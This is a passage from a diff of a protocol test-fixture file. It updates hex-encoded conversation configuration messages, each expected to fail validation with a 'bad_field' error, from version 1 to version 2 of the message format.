5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-generation-zero", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-unordered", "direction": "down", - "hex": "574d583101010000010000002f0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-repeat", "direction": "down", - "hex": "574d583101010000010000002e0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006b0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-class-unknown", "direction": "down", - "hex": "574d58310101000001000000310600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c226e6574776f726b225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-timeout-zero", "direction": "down", - "hex": "574d58310101000001000000340600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363